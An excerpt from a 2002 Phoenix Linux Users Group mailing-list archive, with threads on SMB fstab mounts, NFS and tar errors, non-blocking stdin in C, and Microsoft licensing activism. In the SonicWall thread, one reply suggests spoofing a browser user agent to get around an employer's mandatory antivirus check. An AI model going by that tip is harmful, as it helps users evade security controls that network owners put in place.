------=_NextPart_000_001B_01C20D72.4BC83500-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 16:39:55 -0700 (PDT) Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: Yes, unfortunately, the SonicWall AV software is currently only available for Windows machines. Before a user is allowed Internet access, the SonicWall checks their machine to make sure it has the latest virus definitions before allowing them Internet access. In your case, running a non-Windows platform, you'll need to exclude your IP address from the virus requirements on the SonicWall. Ask whoever manages your SonicWall to exclude your system. You can also call SonicWall tech support for more info. ~M On Thu, 6 Jun 2002, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:51:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 16:51:46 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> References: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206061651.46292.zen2now@qwest.net> thats great that they let you bring it in, but bad they wont let it out. :~( Sonicwall only supports the windows os's, thats it, which in my mind they are losing a great deal, but thats another issue. so, no the anti-virus will not run on any *nix* that i am aware of, except for maybe Lindows. and the chance of opera working in the way you would like, will more than likely fail because as far as i know it is not browser dependant. if the anti-vurus is present and announces itself to the sonicwall, then the sonicwall will permit access to the internet. but if it is not present, then you know what happens, access denied. you may try using a public proxy, but once again you do not have the sonicwall anti-virus installed, and the sonicwall will more than likely deny access. i guess you could try installing the anti-virus under wine, what do you have to lose. i would be interested to find out if it will install. if it does then maybe i could install their VPN client as well. good luck slr On Thursday 06 June 2002 03:53 pm, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there > is a problem. They have a sonic wall and I can't get through it to the net. > If I can get it to work great, if not I can get no support from the office. > I have been using Konquerer and ran into a blank wall, no net access. I > tried Lynx and got a message that I needed to download and install sonic > wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is > running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I > am running wine and have had good results running windows programs on Linux > but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to > Windows conversion presentation last week, thanks Matt, and second I have > to use a windows XP home version box otherwise. > > Regards, > > Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 00:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 06 Jun 2002 17:01:14 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206070003.UAA17041@hostinworld6.com> Just a thought. Grab the HTTP headers from a WinBLOWS box and copy the user agent to your browser's. I suspect this software adds something to the user agent of the browser that SonicWall checks for and if you can have Lynx or Konq lie about having it, then all is good. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 06 Jun 2002 15:53:26 -0700, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:53:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 14:53:05 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 06:42:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 6 Jun 2002 23:42:23 -0700 Subject: fstab help Message-ID: <200206062342.26108.lists@chevy-lemonade.com> I'm trying to connect to a shared drive on an NT server named mutt on my internal network from my RH7.3 box. I have the following line in etc/fstab //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 When I try to mount the drive I get an error that says teh special device //mutt/d does not exist. I know the two can see eachother as I can print to the printer that is on mutt. Any help will be much appreciated. -- Don't trust the "Bow Tie" From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 08:45:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 7 Jun 2002 01:45:15 -0700 Subject: iomega parallel zip drive Message-ID: <20020607014515.6bd7d7ab.snoogans@qwest.net> Ok i had this working fine under my 2.2 distrobution kernel(debian) with modprobe ppa. i Decided to compile a 2.4 kernel and i an trying to get it to work correctly. Right now i have scsi support enabled, scsi disk support enabled, the ppa module compiled in as a module, and parallel printing enabled as a module(as per the zip drive mini-hwoto). When i modprobe ppa it says that /dev/sda4 is not a valid block device. I have kernel compiled about 6 times tonight and i would really like next time to be last time, at least for tonight :) andone know what might be wrong? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 20:56:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: Fri, 7 Jun 2002 13:56:19 -0700 (MST) Subject: test please ignore Message-ID: <20020607205619.87474297F5@napita.snaptek.com> test From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 7 Jun 2002 14:02:26 -0700 (PDT) Subject: Mike? Message-ID: Sorry for the mail to everyone, but there was a guy that picked up 5 of my computers and wanted to know the motherboard make/model. I believe it's a PM9000 from Amptron: http://amptron.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 7 Jun 2002 14:47:48 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: <02060714474805.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Want me to send it out to linuxtoday, slashdot, and newsforge or do you want to do that? On Thursday 06 June 2002 12:46, you wrote: > The press release has been faxed and emailed. Only one I didn't contact is > the Computer buyer Magazine and the Computer Corner s > Show on KTAR. It was suggested that this is best done during the show on > Saturday 10-11:45am. > > If you will be around to answer the phone, Bill, here is the link to submit > the info. > > http://www.datadoctors.com/corner/radio_question.cfm > > Dennis Kibbe > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQEqBSsk3ywszI1FEQK+2gCfed0cP7KyuOPPmN3d+B2yzAjUWwcAoNTv RWNNwlmeb9pyJP1qZNdtJu+D =oszl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 22:27:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 7 Jun 2002 15:27:54 -0700 Subject: fstab help Message-ID: Does it work if you mount the share 'by hand' (mount -t smbfs -o username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" option in your fstab. Is that a typo? I believe that should be "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive on Mutt a hidden share? If so, try putting a $ after the remote filesystem column in the fstab (//mutt/d$). Does smbclient -L mutt -U show that Mutt has that share available? ~Jeff On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > I'm trying to connect to a shared drive on an NT server named > mutt on my > internal network from my RH7.3 box. I have the following > line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh > special device > //mutt/d does not exist. I know the two can see eachother as > I can print to > the printer that is on mutt. > > Any help will be much appreciated. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:19:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:19:42 -0500 (CDT) Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: Message-ID: If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:23:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:23:37 -0500 (CDT) Subject: Request For Information: Microsoft Enterprise Agreement (fwd) Message-ID: FWIW here is town of Gilbert's response, this was returned in less than 5 minutes. I strongly urge anyone in Gilbert send similar requests and get the council's ears perked. -Derek ---------- Forwarded message ---------- Date: Fri, 7 Jun 2002 16:07:39 -0700 From: George Pettit To: "'derek@gnue.org'" Cc: Shawn Woolley Subject: RE: Request For Information: Microsoft Enterprise Agreement Dear Mr. Neighbors: I have forwarded your request regarding the Enterprise Agreement to Shawn Woolley our Technology Services Director. If the Agreement is signed, it is a public record, and therefore available to you. The budget will be heard at a public hearing on June 25, 2002 at 6:30 pm in the Council Chambers, 1025 S Gilbert Road as part of the Agenda that evening George Pettit Manager -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:02 PM To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us; dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.us Subject: Request For Information: Microsoft Enterprise Agreement As a town of Gilbert citizen, taxpayer and technologist, I would like to gather more information about the technology of Gilbert. As is a suprise to no one the convicted monopolist from Redmond, Microsoft, has laid an edict that all Enterprise customers either sign long term agreements to renew software licenses or suffer undue penalties. I am under the assumption that the current operating system platform of choice for Gilbert is from Microsoft. I would like to know whether a provision has been made in the upcoming years fiscal budget to subsidize the procurement of such an 'Enterprise Agreement'. If so can I have the details as to what is included in the license (preferably a copy of the agreement) and the cost. Also, can you tell me the date that the budget will be adopted and when citizens can speak on it? Thank you, Derek Neighbors From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 00:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 07 Jun 2002 18:20:39 -0600 Subject: fstab help In-Reply-To: <200206062342.26108.lists@chevy-lemonade.com> References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <1023495639.351.6.camel@dhcp159.area31.viawest.net> The one thing I have always had to do is manually add an entry in the /etc/hosts file for the computer I wished to connect to. Some versions of smbmount don't like an IP address etc. -dallas On Fri, 2002-06-07 at 00:42, Tom Achtenberg wrote: > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > //mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 01:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 7 Jun 2002 18:48:02 -0700 Subject: The word is out! In-Reply-To: <02060714474805.08309@nova.wedge.org> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> <02060714474805.08309@nova.wedge.org> Message-ID: <1023500882.3d0162525cbac@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Want me to send it out to linuxtoday, slashdot, and newsforge or do you want > > to do that? > be my guest. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 07:11:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 08 Jun 2002 00:11:56 -0700 Subject: NFS and tar Message-ID: <1023520322.3093.20.camel@tomahawk.lww.com> I am having some problems with my NFS setup that really got me scratching my head. I am guessing that it must be something with tar (across and NFS mount?) but I am not sure. First off, here are the basics: Linux Mandrake 8.2 on two systems (zippo and tomahawk) NFS server on zippo NFS mount on tomahawk fstab: zippo:/share/tomahawk_backup /u001/backup2zippo nfs bg,user 0 0 tomahawk: /u001/backup2zippo permissions/owner 777 root:root zippo: /share/tomahawk_backup permissions/owner 777 root:root (I know this is a big security hole that I plan to fix after I figure out what is going on) I can create a file on tomahawk and zippo as a user and as root I can successfully create a tar (on zippo) tar zcvf test.tgz /testdir/* tar is created however I get the following error: tar: Error exit delayed from previous errors I attempted to create a tar (on tomahawk) [user@tomahawk backup2zippo]# tar zcvf test.tgz /etc/* tar: Removing leading `/' from member names etc/adjtime etc/aliases etc/aliases.db tar (child): test.tgz: Cannot open: Operation not permitted tar (child): Error is not recoverable: exiting now etc/alternatives/ etc/alternatives/lib_cpp etc/alternatives/vi etc/alternatives/vim etc/alternatives/cpp etc/alternatives/ssh-askpass etc/alternatives/xinetd etc/alternatives/xvt Broken pipe Thanks for any insight someone can offer. Steve Phariss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 11:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 04:54:19 -0700 Subject: peeking into stdin (programing question) Message-ID: <3D01F06B.29EEE225@leml.asu.edu> sorry for the simple programing question. I've done this before and spaced how. I need to check if there is input in the standard input in both C and C++. If there is then processit, otherwise keep on going. can someone hit me with a clue stick? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 16:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: Fri, 7 Jun 2002 10:42:49 -0600 Subject: fstab help References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <003401c20e42$7193b090$2a4457d8@w2k> Try taking the "file:" out, and make sure there is an entry in /etc/hosts for "mutt". Other than that, it looks fine. -dallas ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 07, 2002 12:42 AM Subject: fstab help > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > file://mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > file://mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 17:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 8 Jun 2002 13:16:00 EDT Subject: peeking into stdin (programing question) Message-ID: <40.1ee18115.2a3395d0@aol.com> Not sure but try kbhit() returns true if something is waiting. if(kbhit()) { c=getch(); ... } From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 18:28:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 11:28:50 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D01F06B.29EEE225@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Use select or poll (I prefer poll personally, but they both work) --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > > sorry for the simple programing question. I've done this before and > spaced how. > > I need to check if there is input in the standard input in both C and > C++. If there is then processit, otherwise keep on going. > > can someone hit me with a clue stick? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Akzmv+hjYTGg7s4RAv1+AJ9ymD3CrDWON5WAgpPPieslfx4FTgCdHjvZ RnHDH/SKYxA72uXrVoj7Dvo= =B2GQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:10:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 16:10:04 -0700 Subject: fstab help In-Reply-To: References: Message-ID: <200206081610.07182.lists@chevy-lemonade.com> //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 These are the two lines from fstab In both cases I get the error "Could not resolve mount point /mnt/mutt_c" (or d). smbclient does indeed show the shares as C$ Disk Default share D$ Disk Default share On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > Does it work if you mount the share 'by hand' (mount -t smbfs -o > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > option in your fstab. Is that a typo? I believe that should be > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > that Mutt has that share available? > > ~Jeff > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > I'm trying to connect to a shared drive on an NT server named > > mutt on my > > internal network from my RH7.3 box. I have the following > > line in etc/fstab > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > When I try to mount the drive I get an error that says teh > > special device > > //mutt/d does not exist. I know the two can see eachother as > > I can print to > > the printer that is on mutt. > > > > Any help will be much appreciated. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 08 Jun 2002 16:21:13 -0700 Subject: fstab help References: <200206081610.07182.lists@chevy-lemonade.com> Message-ID: <3D029169.526EDFE0@qwest.net> do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them to be used as mount points. Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 > //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 > > These are the two lines from fstab In both cases I get the error "Could not > resolve mount point /mnt/mutt_c" (or d). > > smbclient does indeed show the shares as > > C$ Disk Default share > D$ Disk Default share > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > option in your fstab. Is that a typo? I believe that should be > > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > > that Mutt has that share available? > > > > ~Jeff > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > I'm trying to connect to a shared drive on an NT server named > > > mutt on my > > > internal network from my RH7.3 box. I have the following > > > line in etc/fstab > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > When I try to mount the drive I get an error that says teh > > > special device > > > //mutt/d does not exist. I know the two can see eachother as > > > I can print to > > > the printer that is on mutt. > > > > > > Any help will be much appreciated. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Don't trust the "Bow Tie" > Chevrolet, the HEARTBREAK of America > visit http://www.chevy-lemonade.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 00:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 17:10:09 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D029CE1.C77FE110@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Use select or poll (I prefer poll personally, but they both work) ok... this works except I cannot see or read the character until I type a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? I tried modifying the file descriptor with: if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and tried it without delay */ return 1; and reopending stdin with: in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); but I'm still unable to get info back until I type a RETURN. EBo -- > > sorry for the simple programing question. I've done this before and > > spaced how. > > > > I need to check if there is input in the standard input in both C and > > C++. If there is then processit, otherwise keep on going. > > > > can someone hit me with a clue stick? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 18:01:35 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D029CE1.C77FE110@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 see termios(3) for setting it to raw mode; specifically the function cfmakeraw (same man page) is what you're looking for. --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > Nick Estes wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Use select or poll (I prefer poll personally, but they both work) > > ok... this works except I cannot see or read the character until I type > a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? > > I tried modifying the file descriptor with: > > if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and > tried it without delay */ > return 1; > > and reopending stdin with: > > in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); > > but I'm still unable to get info back until I type a RETURN. > > EBo -- > > > > > sorry for the simple programing question. I've done this before and > > > spaced how. > > > > > > I need to check if there is input in the standard input in both C and > > > C++. If there is then processit, otherwise keep on going. > > > > > > can someone hit me with a clue stick? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Aqjyv+hjYTGg7s4RAg5GAJ9ifU8duRikeDpGTP1hiksRs9575gCeODZv FYV4QbFCpBN9DxyeJypg9Mo= =EO6O -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:23:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 18:23:01 -0700 Subject: peeking into stdin (programing question) References: <40.1ee18115.2a3395d0@aol.com> Message-ID: <3D02ADF5.6D54E356@leml.asu.edu> Elburn@aol.com wrote: > > Not sure but try kbhit() returns true if something is waiting. > > if(kbhit()) > { > c=getch(); > ... > } I looked around and all I could find for kbit was a reference to it being expected as a define in Borland Builder. From this I'm guessing that it is a Win*'ism. ncurses cbreak() is close to what I'm looking for, but it mucked with the IO and I wanted to avoint that... I was able to get ncurses to work though. To compare timing diferences I'm going to try the cfmakeraw now...  EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 02:01:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 19:01:51 -0700 Subject: fstab help In-Reply-To: <3D029169.526EDFE0@qwest.net> References: <200206081610.07182.lists@chevy-lemonade.com> <3D029169.526EDFE0@qwest.net> Message-ID: <200206081901.53241.lists@chevy-lemonade.com> Thanks, that seems to have done the trick. Does anyone out there know the fstab line to connect to an i-bay on 